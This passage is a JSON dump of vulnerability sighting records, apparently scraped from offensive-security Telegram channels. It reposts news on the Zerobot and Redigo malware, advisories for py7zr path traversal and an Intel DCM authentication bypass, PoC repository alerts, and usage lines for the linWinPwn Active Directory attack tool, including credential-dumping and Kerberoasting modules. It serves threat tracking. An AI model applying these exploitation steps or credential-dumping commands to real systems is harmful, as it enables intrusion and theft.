says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2017-17106", "author": {"login": "automation"}}, {"uuid": "a618a808-6fa4-423a-aae3-081dac63d7e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.657516+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2021-46422", "author": {"login": "automation"}}, {"uuid": "53290367-8129-4db9-be12-b3c0418b18e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.603209+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/79492", "content": "Black Hat Ethical Hacking\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devices\n\nNew Zerobot malware has 21 exploits for BIG-IP, Zyxel, D-Link devicesPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A new Go-based malware named \u2018Zerobot\u2019 has been spotted\u00a0in mid-November\u00a0using exploits for\u00a0almost two dozen vulnerabilities in a variety of devices that include\u00a0F5 BIG-IP, Zyxel firewalls, Totolink and D-Link routers, and Hikvision cameras.The purpose of the malware is to add compromised devices to a distributed denial-of-service (DDoS) botnet to launch powerful attacks against specified targets.\n\nZerobot can scan the network and self-propagate to adjacent devices as well as run commands on Windows (CMD) or Linux (Bash).\n\nSecurity researchers at Fortinet\u00a0discovered Zerobot and say that since November a new version has emerged with additional modules and exploits for new flaw, indicating that the malware is under active development.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Exploiting its way inThe malware can target a range of system architectures and devices, including i386, AMD64, ARM, ARM64, MIPS, MIPS64, MIPS64le, MIPSle, PPC64, PPC64le, RISC64, and S390x.\n\nZerobot incorporates exploits for 21 vulnerabilities and uses them to gain access to the device. Then it downloads a script named \u201czero,\u201d which allows it to self propagate.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/script-download.png \n<figcaptionFetching the zero script to enable propagation (Fortinet) \nZerobot uses the following exploits to breach its targets:\n\n* CVE-2014-08361: miniigd SOAP service in Realtek SDK\n* CVE-2017-17106: Zivif PR115-204-P-RS webcams\n* CVE-2017-17215: Huawei HG523 router\n* CVE-2018-12613: phpMyAdmin\n* CVE-2020-10987: Tenda AC15 AC1900 router\n* CVE-2020-25506: D-Link DNS-320 NAS\n* CVE-2021-35395: Realtek Jungle SDK\n* CVE-2021-36260: Hikvision product\n* CVE-2021-46422: Telesquare SDT-CW3B1 router\n* CVE-2022-01388: F5 BIG-IP\n* CVE-2022-22965: Spring MVC and Spring WebFlux (Spring4Shell)\n* CVE-2022-25075: TOTOLink A3000RU router\n* CVE-2022-26186: TOTOLink N600R router\n* CVE-2022-26210: TOTOLink A830R router\n* CVE-2022-30525: Zyxel USG Flex 100(W) firewall\n* CVE-2022-34538: MEGApix IP cameras\n* CVE-2022-37061: FLIX AX8 thermal sensor cameras\n\nAdditionally, the botnet uses four exploits that have not been assigned an identifier. Two of them are targeting GPON terminals and D-Link routers. Details about the other two are unclear at the moment.\nTrending: Exploiting LFI Vulnerabilities\nTrending: Offensive Security Tool: Villain Zerobot functionsAfter establishing its presence on the compromised device, Zerobot sets a WebSocket connection to the command and control (C2)\u00a0server and sends some basic information about the victim.\n\nThe C2 may respond with one of the following commands:\n\n* ping \u2013 Heartbeat, maintaining the connection\n* attack \u2013 Launch attack for different protocols: TCP, UDP, TLS, HTTP, ICMP\n* stop \u2013 Stop attack\n* update \u2013 Install update and restart Zerobot\n* enable_scan \u2013 Scan for open ports and start spreading itself via exploit or SSH/Telnet cracker\n* disable_scan \u2013 Disable scanning\n* command \u2013 Run OS command, cmd on Windows and bash on Linux\n* kill \u2013 Kill botnet program\n\nThe malware also uses an \u201canti-kill\u201d module designed to prevent terminating or killing its process.\n\nCurrently, Zerobot is primarily focused on launching DDoS attacks. However, it could be used as for initial access, too. Fortinet says\u00a0that since Zerobot first appeared on Nov[...]", "vulnerability": "CVE-2022-22965", "author": {"login": "automation"}}, {"uuid": "ce1deaf7-dc4a-49c7-a1fe-2a83b3fd48e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.559630+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/80163", "content": "CVE-2019\u20136238: Apple XAR directory traversal vulnerability\nhttps://yilmazcanyigit.medium.com/cve-2019-6238-apple-xar-directory-traversal-vulnerability-9a32ba8b3b7d?source=rss------bug_bounty-5", "vulnerability": "CVE-2019-6238", "author": {"login": "automation"}}, {"uuid": "a0aeaa00-6ace-4272-a65f-8a23f55b9a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.518059+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/80165", "content": "With the security update released in 2019, Apple fixed a directory traversal vulnerability in XAR.Continue reading on Medium \u00bb (https://yilmazcanyigit.medium.com/cve-2019-6238-apple-xar-directory-traversal-vulnerability-9a32ba8b3b7d?source=rss------bug_bounty-5)", "vulnerability": "CVE-2019-6238", "author": {"login": "automation"}}, {"uuid": "cb356c02-db58-4d9f-abf4-b2640996e65e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.481208+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101168", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-7873\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rmhowe425\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 02:50:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-7873", "author": {"login": "automation"}}, {"uuid": "2c09fdce-8541-4d86-b439-847cd00572ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.434092+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101169", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Langflow-RCE-CVE-2025-3248\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a LeotheGGman\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 03:01:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2025-3248", "author": {"login": "automation"}}, {"uuid": "cae38167-efbc-4cff-b7b5-7f2d71a2ec15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.376369+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/78645", "content": "Black Hat Ethical Hacking\nNew Redigo malware drops stealthy backdoor on Redis servers\n\nNew Redigo malware drops stealthy backdoor on Redis serversPost Views: 68 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Go-based malware RedigoA new Go-based malware threat that researchers call Redigo\u00a0has been targeting Redis\u00a0servers vulnerable to CVE-2022-0543 to plant a stealthy backdoor and allow\u00a0command execution.\n\nCVE-2022-0543 is a critical vulnerability in Redis (Remote Dictionary Server) software with a maximum severity rating. It was\u00a0discovered and fixed in February 2022.\n\nAttackers continued to leverage it on unpatched machines several months\u00a0after the fix came out, as proof-of-concept exploit code\u00a0became publicly available.\n\nThe name of the malware, Redigo, was coined from the machine it targets and the programming language for building it.\n\nToday, AquaSec reports\u00a0that its Redis honeypots vulnerable to CVE-2022-0543 caught a new piece of malware that is not detected as a threat by antivirus engines on Virus Total.\nhttps://www.bleepstatic.com/images/news/u/1220909/Website%20snaps/vt.png \n<figcaptionRedigo\u00a0payload coming out clean on Virus Total scan (AquaSec) \nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Redigo attacksAquaSec says that Redigo attacks start with scans on port 6379 to locate Redis servers exposed on the open web.\u00a0After locating a target endpoint, the atacker connect and run the following commands:\n\n* INFO\u00a0\u2013 Check the Redis version to determine if the server is vulnerable to CVE-2022-0543.\n* SLAVEOF\u00a0\u2013 Create a copy of the attacking server.\n* REPLCONF\u00a0\u2013 Configure the connection from the attacking server to the newly created replica.\n* PSYNC\u00a0\u2013 Initiate the replication stream and download the shared library \u2018exp_lin.so\u2019 on the server\u2019s disk.\n* MODULE LOAD\u00a0\u2013 Load module from the downloaded dynamic library, which is capable of executing arbitrary commands and exploiting CVE-2022-0543.\n* SLAVEOF NO ONE\u00a0\u2013 Covert the vulnerable Redis server into master.\n* \n\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/commands-redigo.png \n<figcaptionCommands observed in the Redis honeypot (AquaSec) \nUsing the command execution abilities of the implanted backdoor, the attackers collect hardware info about the host and then download Redigo (redis-1.2-SNAPSHOT). The malware is executed after escalating privileges.\n\nThe attackers simulate normal Redis communication over port 6379 to evade detection by network analysis tools while attempting to hide traffing from Redigo\u2019s command and control server.\n\nDue to attack duration limitations in AquaSec\u2019s honeypots, its analysts couldn\u2019t determine exactly what Redigo does after establishing its foothold in the environment.\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/redigo-functions.png \n<figcaptionRedigo malware functions (AquaSec) \nTrending: Find Hidden Info using Google Dorking manually, and Automated using Pagodo Trending: Offensive Security Tool: linWinPwn Mitigation\u200bAquaSec says it\u2019s likely that the ultimate goal of Redigo is to add the vulnerable server as a bot in a network for distributed denial-of-service (DDoS) attacks or to run cryptocurrency miners on the compromised systems.\n\nAlso, since Redis is a database, accessing the data to steal it would also be a plausible scenario in\u00a0Redigo attacks.\n\nFor more information on mitigating the Redis flaw, check out the Debian security advisory\u00a0or Ubuntu\u2019s security bulletin\u00a0on CVE-2022-0543.\nTrending: AXLocker \u2013 a new ransomware that encrypts yours files, and then steals your Discord a[...]", "vulnerability": "CVE-2022-0543", "author": {"login": "automation"}}, {"uuid": "55c57923-7dda-4932-860c-65f156181786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.329027+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/79365", "content": "Exploit Collector\npy7zr 0.20.0 Directory Traversal\n\nhttps://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png \nA directory traversal vulnerability in the SevenZipFile.extractall() function of the python library py7zr versions 0.20.0 and earlier allows attackers to read arbitrary files on the local machine via a malicious 7z file extraction.\n\nSHA-256 | 7aa7ca72652dab91234127d8332a19316f0f61be17e1c626e65aae18d9435347\n\nDownload\nCVE-2022-44900: path traversal vulnerability in py7zr\n\nDirectory traversal vulnerability in SevenZipFile.extractall() function of\nthe python library py7zr version 0.20.0 and earlier allow attackers to read\narbitrary files on the local machine via malicious 7z file extraction.\n\nCVE-2022-44900 <https:\nvulnerability allows attackers to achieve arbitrary file read and arbitrary\nfile write. To do so, an attacker needs to create a malicious 7z archive\ncontaining a symlink to achieve an arbitrary file read and a file with a\npath traversal payload as name to achieve an arbitrary file write.\nExploiting\n\nThe script used for tests is the following:\n\nimport py7zr\nimport click\n\n@click.command()\n@click.argument(\"filename\")\n\ndef main_procedure(filename):\nwith py7zr.SevenZipFile(filename, 'r') as archive:\narchive.extractall()\n\nmain_procedure()\n\nThe vulnerabile function targeted is py7zr.SevenZipFile.extractall().\n\nA lab setup has been built to test for vulnerabilities. Directories\nstructured as follow were used:\n\n\u251c\u2500\u2500 start_point\n\u2502   \u251c\u2500\u2500 archive.7z\n\u2502   \u2514\u2500\u2500 py7zr_test.py\n\u2514\u2500\u2500 target\n\u251c\u2500\u2500 write\n\u2514\u2500\u2500 read\n\nThe start_point directory contains the script used for tests and the\nmalicious archive containing the path traversal payload in the form of the\nfilename of an archived file.\n\nTo achieve an arbitrary file read, one of the files in the archives needs\nto have ../target/write set as name. The content of the file will be\nwritten into target/write.\n\nIn a similar way, to achieve an arbitrary file read, a symlink pointing to\n../target/read needs to be present in the archive. When extracted the\nsymlink will consist of the content of target/read.\nDisclosure timeline\n\n29/10/2022 - Maintainer was notified privately of the vulnerabilities\n30/10/2022 - Response from maintainer\n01/11/2022 - Release of patched version 0.20.1\n01/11/2022 - CVE ID request\n06/12/2022 - CVE ID obtained\n06/12/2022 - Public disclosure\n------------------------------\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-44900", "author": {"login": "automation"}}, {"uuid": "95c5e700-761b-4487-98f4-f0ce732c9d59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.277302+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/78069", "content": "Kali Linux Tutorials\nOx4Shell : Deobfuscate Log4Shell Payloads With Ease\n\nOx4Shell is a tool for deobfuscate Log4Shell payloads with ease.\n\nDescription\n\nSince the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.\n\nThis tool intends to unravel the true contents of obfuscated Log4Shell payloads.\n\nWe recommend running Ox4Shellwith a provided file (-f) rather than an inline payload (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.\n\nUsage\n\nTo run the tool simply:\n~/Ox4Shell \u00bb python ox4shell.py --help\nusage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)\n\n   ____       _  _   _____ _          _ _ \n  / __ \\     | || | / ____| |        | | |\n | |  | |_  _| || || (___ | |__   ___| | |\n | |  | \\ \\/ /__   _\\___ \\| '_ \\ / _ \\ | |\n | |__| |>  <   | | ____) | | | |  __/ | |\n  \\____//_/\\_\\  |_||_____/|_| |_|\\___|_|_|\n\nOx4Shell - Deobfuscate Log4Shell payloads with ease.\n    Created by https://oxeye.io\n\nGeneral:\n  -h, --help            Show this help message and exit\n  -d, --debug           Enable debug mode (default: False)\n  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)\n  --max-depth MAX_DEPTH\n                        The maximum number of iteration to perform on a given payload (default: 150)\n  --decode-base64       Payloads containing base64 will be decoded (default: False)\n\nTargets:\n  Choose which target payloads to run Ox4Shell on\n\n  -p PAYLOAD, --payload PAYLOAD\n                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)\n  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None) \nMock Data\n\nThe Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.\n\nOx4Shell uses the mock.jsonfile to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.\n\nThe default set of mock data provided is:\n{\n    \"hostname\": \"ip-127.0.0.1\",\n    \"env\": {\n        \"aws_profile\": \"staging\",\n        \"user\": \"ubuntu\",\n        \"pwd\": \"/opt/\",\n        \"path\": \"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\"\n    },\n    \"sys\": {\n        \"java.version\": \"16.0.2\",\n        \"user.name\": \"ubuntu\"\n    },\n    \"java\": {\n        \"version\": \"Java version 16.0.2\",\n        \"runtime\": \"OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation\",\n        \"vm\": \"OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)\",\n        \"os\": \"Linux 5.10.47-linuxkit unknown, architecture: amd64-64\",\n        \"locale\": \"default locale: en_US, platform encoding: UTF-8\",\n        \"hw\": \"processors: 1, architecture: amd64-64\"\n    }\n} \n\nClick Here To Download\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "c170360e-5931-45e8-b063-aa406c81b2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.212574+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/78263", "content": "Fortigate CVE-2022-40684\nhttps://www.reddit.com/r/Pentesting/comments/z7zpsn/fortigate_cve202240684/\n\nHey gang! Looking for some assistance exploiting this CVE. Ironically enough it's not for a pentest, but for a new managed client who does not know their fortinet password. We're trying to avoid doing a factory reset if possible especially since they are a little further out (though it wouldn't be the end of the world if that's what it comes down to). I followed the POC by Horizon3ai and successfully uploaded a pub key, but I'm still getting prompted for a password when I attempt to SSH into the firewall. Has anyone else experienced this or knows of another way we can leverage the CVE to get in? I don't believe it's limited to just uploading a pubkey for ssh. Thanks in advance!    submitted by    /u/Sir_Scrubs_Alot  (https://www.reddit.com/user/Sir_Scrubs_Alot) \n [link] (https://www.reddit.com/r/Pentesting/comments/z7zpsn/fortigate_cve202240684/)   [comments] (https://www.reddit.com/r/Pentesting/comments/z7zpsn/fortigate_cve202240684/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-40684", "author": {"login": "automation"}}, {"uuid": "a398d81d-19be-4dd6-9209-3c757f102926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.170576+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/78424", "content": "Exploit Collector\nIntel Data Center Manager 4.1.1.45749 Authentication Bypass / Spoofing\n\nhttps://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png Intel Data Center Manager versions 4.1.1.45749 and below suffer from an authentication bypass vulnerability via spoofing.\n\nSHA-256 | c994d19000e263ed1c33f5352902d080b70eb355d42bec09d1cf2d70a522e3e4Download RCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Intel Data Center Manager\nVendor URL:     https://www.intel.com/content/www/us/en/developer/tools/data-center-manager-console/overview.html\nType:           Authentication Bypass by Spoofing [CWE-290]\nDate found:     2022-06-01\nDate published: 2022-11-23\nCVSSv3 Score:   10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\nCVE:            CVE-2022-33942\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nIntel Data Center Manager 4.1.1.45749 and below\n4. INTRODUCTION\n===============\nEnergy costs are the fastest rising expense for today\u2019s data centers. Intel\u00ae Data\nCenter Manager (Intel\u00ae DCM) provides real-time power and thermal consumption data,\ngiving you the clarity you need to lower power usage, increase rack density, and\nprolong operation during outages.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe application allows configuring authentication via Active Directory groups. While\nthis by itself isn't an issue, it becomes one as soon as an Active Directory group\nwith a well-known SID (such as \"S-1-5-32-544\" or \"S-1-5-32-546\") is configured to\nallow authentication to DCM. This is because Intel's DCM only relies on the group's\nSID to allow authentication but doesn't verify the authenticating domain, which the\nuser can give during the authentication process against the DCM Console and its REST\ninterface.\n\nSince the DCM will send all Kerberos and LDAP (authentication) requests against the\ngiven domain, it is trivially easy to spoof the authentication responses by using an\narbitrary Kerberos and LDAP server and replying with the SID of one of the configured\nActive Directory groups.\n\nThis allows an attacker to bypass the authentication schema by using any domain\nwith any user/password combination without actually being part of any Active Directory\ngroups.\n6. PROOF OF CONCEPT\n===================\nSee the referenced blog post for a full exploit.\n7. SOLUTION\n===========\nUpdate to Intel DCM 5.0 or later\n8. REPORT TIMELINE\n==================\n2022-06-01: Discovery of the vulnerability\n2022-06-28: Sent notification to Intel via their PSIRT\n2022-06-28: Vendor response: Sent to appropriate reviewers.\n2022-06-29: Vendor acknowledges the vulnerability and asks for coordinated disclosure on Nov. 8, 2022\n2022-06-30: Rejected the disclosure date, due to my own policy, which makes it: August 13, 2022\n2022-07-08: After a vendor call, I've submitted the issue through Intel's bug bounty program\n2022-xx-xx: Vendor releases version 5.0 without any notification which fixes this vulnerability\n2022-11-08: Vendor (responsible CNA) assigns CVE-2022-33942\n2022-11-08: Vendor publishes security advisory INTEL-SA-00713\n2022-11-23: Public disclosure\n9. REFERENCES\n=============\nhttps://www.rcesecurity.com/2022/11/from-zero-to-hero-part-1-bypassing-intel-dcms-authentication-by-spoofing-kerberos-and-ldap-responses-cve-2022-33942\nhttps://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00713.html\nhttps://github.com/MrTuxracer/advisories Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-33942", "author": {"login": "automation"}}, {"uuid": "e436d20a-da43-403f-ba23-add3e3b0bebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:59.110696+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77756", "content": "utput_dir>] -M vuln_checks \n\nModule mssql_enum:\u00a0MSSQL Enumeration\n./linWinPwn.sh -t Domain_Controller_IP> [-d AD_domain> -u AD_user> -p AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o output_dir>] -M mssql_enum \n\nModule pwd_dump:\u00a0Password Dump\n./linWinPwn.sh -t Domain_Controller_IP> [-d AD_domain> -u AD_user> -p AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o output_dir>] -M pwd_dump \nTrending: Exploit XSS Injections in a one-line powerful Technique Demos* HackTheBox Forest\n\nInteractive Mode: Automated Mode: * TryHackme AttacktiveDirectory Use casesFor each of the cases described, the linWinPwn script performs different checks as shown below.\n\nCase 1: Unauthenticated\n\n* Module ad_enum \n* rid bruteforce\n* user enumeration\n* ldapdomaindump anonymous enumeration\n* Check if ldap-signing is enforced, check for LDAP Relay\n\n* Module kerberos \n* kerbrute user spray\n* ASREPRoast using collected list of users (and cracking hashes using john-the-ripper and the rockyou wordlist)\n* Blind Kerberoast\n* CVE-2022-33679 exploit\n\n* Module scan_shares \n* SMB shares anonymous enumeration on identified servers\n\n* Module vuln_checks \n* Enumeration for WebDav, dfscoerce, shadowcoerce and Spooler services on identified servers\n* Check for ms17-010, zerologon, petitpotam, nopac, smb-sigining, ntlmv1, runasppl weaknesses ./linWinPwn.sh -t Case 2: Standard Account (using password, NTLM hash or Kerberos ticket)\n\n* DNS extraction using adidnsdump\n* Module ad_enum \n* BloodHound data collection\n* ldapdomaindump enumeration\n* crackmapexec user=pass enumeration\n* Delegation information extraction\n* GPP Passwords extraction\n* Extract ADCS information using certipy\n* Check if ldap-signing is enforced, check for LDAP Relay\n* Extraction of MachineAccountQuota of user, Password Policy and users\u2019 descriptions containing \u201cpass\u201d\n\n* Module kerberos \n* kerbrute user=pass enumeration\n* ASREPRoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)\n* Kerberoasting (and cracking hashes using john-the-ripper and the rockyou wordlist)\n\n* Module scan_shares \n* SMB shares enumeration on all domain servers\n* KeePass files and processes discovery on all domain servers\n\n* Module vuln_checks \n* Enumeration for WebDav, dfscoerce, shadowcoerce and Spooler services on all domain servers\n* Check for ms17-010, zerologon, petitpotam, nopac, smb-sigining, ntlmv1, runasppl weaknesses\n\n* Module mssql_enum \n* Check mssql privilege escalation paths\n./linWinPwn.sh -t Domain_Controller_IP_or_Target_Domain> -d AD_domain> -u AD_user> -p AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -M user \nCase 3: Administrator Account (using password, NTLM hash or Kerberos ticket)\n\n* All of the \u201cStandard User\u201d checks\n* Module pwd_dump \n* LAPS and gMSA dump\n* secretsdump on all domain servers\n* Dump lsass on all domain servers using: procdump, lsassy, nanodump, handlekatz, masky\n* Extract backup keys using DonPAPI\n./linWinPwn.sh -t Domain_Controller_IP_or_Target_Domain> -d AD_domain> -u AD_user> -p AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -M all Disclaimer: Usage of linWinPwn for attacking targets without prior mutual consent is illegal. It\u2019s the end user\u2019s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.\nClone the repo from here: GitHub Link\nSee Also: Hacking Stories: Albert Gonzalez and the \u2018Get Rich or Die Trying\u2019 Crew who stole 130 million credit card numbers https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/11/Merlin-300x150.png Offensive Security Tool: MerlinNovember 24, 2022\nReading Time: 3 minutes\n\n* https://www.blackh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", 